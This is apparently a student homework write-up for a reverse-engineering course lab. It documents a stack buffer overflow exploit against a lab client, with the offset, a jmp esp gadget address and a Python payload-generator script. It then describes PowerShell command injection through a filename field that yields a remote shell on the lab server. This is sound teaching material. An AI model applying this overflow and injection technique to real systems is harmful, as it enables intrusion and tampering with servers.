Reverse Engineering - Homework 4

Yosef Goren & Tomer Bitan

July 7, 2023

1

Skipped...

2

With each of the users we know of:

- wizard — ME7WS9H9UXV9DND4
- goblin — 34U97VEYPNODNGZS
- giant — QVN4ZXKH38PGDGS2
- archer — FKGXJP0OCE1LKT3D

we have attempted to login using their credentials.
For all of the users we have got something like:

```
> hw4_client.exe
Enter username: goblin
Enter password: 34U97VEYPNODNGZS
Welcome goblin

What would you like to do?
[1] ECHO - ping the server with a custom message, receive the same.
[2] TIME - Get local time from server point of view.
[3] 2020 - Get a a new year greeting.
[4] USER - Show details of registered users.
[5] DMSG - Download message from the server.
```

Accept for the archer were we got:

```
> hw4_client.exe
Enter username: archer
Enter password: FKGXJP0OCE1LKT3D
Welcome archer (Admin)

What would you like to do?
[1] ECHO - ping the server with a custom message, receive the same.
[2] TIME - Get local time from server point of view.
```

```
[3] 2020 - Get a a new year greeting.
[4] USER - Show details of registered users.
[5] DMSG - Download message from the server.
[6] PEEK - peek into the system.
[7] LOAD - Load the content of the last peeked file.
```

Note that not only does the welcome message mention that this user is an admin - but there are also additional options offered to him. This meant that this user must have elevated permissions.
The `users.py` script connects to 'archer' and prints the list of users.

3

3.1 Initial Static Analysis

We have started this part by analyzing (statically - ida) our target file `hw4_client.exe`.
At the start we try to get a general overview of the program: After the input credentials are given to the program, it requests us for a 4 letter command so we have found the procedure which finds this request.
It appears to return a command code which is a number (enum essentially) which represents which command was given. We note that the PEEK command which we are interested in has command code 7.
After the command is selected - we are also requested to input a 'file name' which is meant to be sent to the server.
In the static analysis the volunerability is clear:
The `scanf` call which reads this 'file name' has a write pointer onto the stack and while the output buffer has a constant size of about 16 KB; the scanf output is not bound in any way.
The place where we are meant to insert this string will be our opening to take over the program.

At the end of the injection process - we want the execution to jump to shellcode which we will write using the same buffer.
The simplest solution would be to simply override the return address with the address at which the start of our shellcode will be located.
The reason we have ended up using a slightly more compilcated solution then this was that our shellcode will be found on the stack - meaning that it's address might not be constant between different executions of the program.

Considering this, our general plan is as follows:

1. Find the exact offset between the buffer start and the return address.
2. Find a gadget containing a `jmp esp` instruction.
3. Place the gadget at that offset.
4. Place a relative jump command `jmp -300` right after where the return address was.

5. Place a `nop` slide between the buffer start and up to this point.
6. Place our shellcode somewhere in between where that relative jump will land and where the return address should be.

After these steps are done properly the program execution should be as follows:

Address	Instruction

`.text <vulnerable_proc>`	`call scanf`
	`...`
	`ret`

`.text <gadjet>:`	`jmp esp`

`.stack:`	`jmp -300`
	`nop`
	`...`
	`nop`
	`<shellcode start>`

Step 1: To find the exact offset we simply had to run the program once and stop it at the `ret` instruction we have found the required offset to be 16304.
Step 2: To find the gadget - we have used an assembler to find the exact hexadecimal representation of this instruction and have serached for a match for it in the program's code section. We have found it at address: `0x62502028`.

3.2 Shellcode Injection Framework

For the rest of the steps we decided it will be helpful to create a python tool for generating the binary content which will be passed to the program.
The tool can be found at the file `shellcode.py`.

Inside we have define a class `ShellCodeGenerator` which has a few helpful methods for creating overflowing binary content.
Genrally - the usage of the class is as follows: an instance is created, and the methods are used to describe the desigered binary content - then the `write_to_file` method is used to write the generated binary content to a file.

The most notable methods for the binary generation process are:

- `append_strline` - use to add the username, password and command at the start of the resulting input file. In practice this simply appends the ascii encodings to the provided string to the binary stream.
- `load_from_asm_file` - this method assembles the content of the provided assembly file, then appends the resulting binary content to the binary stream.
- `append_dword` - this method recives a 32-bit number - such as an address and appends it to the bitstream - in little endian format.

- `start_buffer_cnt` - this starts keeping track of the current offset the binary stream (initialized to 0).
- `comptete_buffer_to_size` This completes the current buffer to the provided size by appending `nop` instructions. In conjunction with `start_buffer_cnt` we can esaly ensure we will override the return address at the correct offset without worrying about what was the exact size of what we have inserted into the buffer so far.

After implementing this class, to create our binary input file we simply run:

```
gen = ShellCodeGenerator()
gen.append_strline("archer")
gen.append_strline("FKGXJP00CE1LKT3D")
gen.append_strline("PEEK")

gen.start_buffer_cnt()
gen.nop_cascade(16004)
gen.load_from_asm_file(asm_input_filename)
gen.comptete_buffer_to_size(16304)#
gen.append_dword(0x62502028)
gen.append_asmline("jmp -330")
gen.append_strline("")

gen.write_to_file(output_filename)
```

After we have done all of this correctly - we can simply write the assembly for our shellcode in a file and run the script.

3.3 Shellcode Content

Our shellcode content can be found in assembly format at the file `shellcode.S`. The final binary content passed as input to the program is at the file `shellcode.bin`.

The idea of our shellcode is simple: Find how the program normally sends requests to the server and attempt to replicate the same process - then jump back to the start of our shellcode - and by doing so - repeat the process in an infinite loop.

The first part of doing so was an additional session of static analysis centered around finding where the program actually sends the requests to the server.
A good first step for this was to search for invokations of the `send` and `recv` library function.
We have found both in a function we have called `send_recv`.
From this function we can trace back where the socket object is given from to the library functions.
Going back from `send_recv` we encounter a function we have called `handle_request`; upon further inspection - it's API appears to be something like:

```
handle_req(sock_ptr,cmd_num,req_content_buf,srv_out_buf,silent)
```

This seemed to us like a good place to start. We already know we want `cmd_num=7`, `silent=0` - so we are left to deal with the rest of the arguments:

- `sock_ptr`: We have traced this parameter back to the `main` function where it is initialized to the return value of the `connect` function.
  So now we know how to get it ourselves in our shellcode.

- `srv_out_buf`: For this and the following parameter we notice that we will need to allocate a large buffer - so we decide to first expand the stack enough to where the ESP was before the overflow - to avoid overriding our own shellcode - the we allocate enough space for both of these buffers on the new stack area. `srv_out_buf` requires no initialization from us.

- `req_content_buf`: Since the value inside this buffer will be the request itself - we want to get the content for it from the user - so we make an invokation to `scanf`. To avoid using our own format string - we use the same format string that created the original overflow [1].

After we implement all of these parts, all that is left to do is to invoke `handle_request` then jump back to the start of our shellcode.

3.4 From Input File to Interactive Loop

After succesfully implementing the prior section, we can append any list of inputs to the injection file and it will send each request line which is after the buffer overflow content as a request to the server and handle it.

Since we want this process to be interactive - we create a python script which enables us run as subprocess with an input file - followed by an interactive session as soon as the file ends.
The implementation for this script can be found at `run_on_input.py`.

In conjunction with `shellcode.bin` created by our shellcode generation script we have an interactive loop for making `PEEK` requests to the server.

4

The next step was to use our interactive `PEEK` request shell to achive remote code execution on the server.
After playing with the shell for a few second we notice the following error message:

[1] somewhat ironically meaning the exact same overflow volunerability is still present in our shellcode

```
PS C:\Users\pc\Desktop\Semesters\S8\Reverse-Engineering-236496\Homework4\Wet> python .\run_on_input.py
Enter username: Enter password: Welcome archer (Admin)

What would you like to do?
[1] ECHO - ping the server with a custom message, receive the same.
[2] TIME - Get local time from server point of view.
[3] 2020 - Get a a new year greeting.
[4] USER - Show details of registered users.
[5] DMSG - Download message from the server.
[6] PEEK - peek into the system.
[7] LOAD - Load the content of the last peeked file.
your choice (4 letters command code): aaa
Get-ChildItem : Cannot find path 'C:\Users\idanRaz\RE_HW\generated\server\322218611-211515606\aaa' because it does not
exist.
At line:1 char:1
+ Get-ChildItem -Name -Path aaa
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ObjectNotFound: (C:\Users\idanRa...1-211515606\aaa:String) [Get-ChildItem], ItemNotFound
   Exception
    + FullyQualifiedErrorId : PathNotFound,Microsoft.PowerShell.Commands.GetChildItemCommand
```

From this error message we learn two things: Firstly - we are interacting with PowerShell. Secondly - this shell attempts to run whatever `X` is given to it as a command `Get-ChildItem -Name -Path X`.
Thus we can actually ignore the prefix of the command and just run a different one by appending it to the end of the command, so if we want to run `Y` we will actually pass on '`.  ; Y`' and so the final input seen by powershell will be '`Get-ChildItem -Name -Path .  ; Y`' which means `Y` should be run seperately.
Since we wanted to avoid seeing the output of the first part of the command - we have also redirected it's output to `null`: '`.  > $null ; Y`'.

So for example to run `ls`:

```
...
your choice (4 letters command code): . > $null ; ls

    Directory: .

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        6/19/2023  10:10 AM                config
d-----        6/19/2023  10:10 AM                database
d-----       10/29/2020   9:57 AM                files
d-----         6/9/2021   1:34 PM                source
d-----        6/19/2023  10:10 AM                tools
d-----        6/19/2023   3:52 PM                __pycache__
-a----       12/24/2020   9:54 PM          24064 Capture.dll
...
```

In order to get this functionality in an interactive format, we have created

a new python script to wrap the `run_on_input.py` script: we have called it `server_shell.py`; it simply runs `run_on_input.py` as a subprocess and gives it the input from the end user prefixed with '`. > $null ;` '.
Additionally - if it sees `exit` it terminates, and if it sees `restart` - it closes the subprocess and starts over again.

Now we have a full on shell to interact with the server.

5 Putting Down the Flames

After some exploring the server for a few minutes we find a suspiciously named file: `config/attack.config`.
It's initial content was something like:

```
Fires: True
Rivals: True
Knights Infected: True
Robber Hunted: False
```

So we wanted to change the content to the files so that flames will be off, hence we run:

```
echo 'Fires: False' > config/attack.config
echo 'Rivals: True' >> config/attack.config
echo 'Knights Infected: False' >> config/attack.config
echo 'Robber Hunted: False' >> config/attack.config
cat config/attack.config
```

After doing this we see the file has the wanted content.

We go to the side and Horray! The flames are off!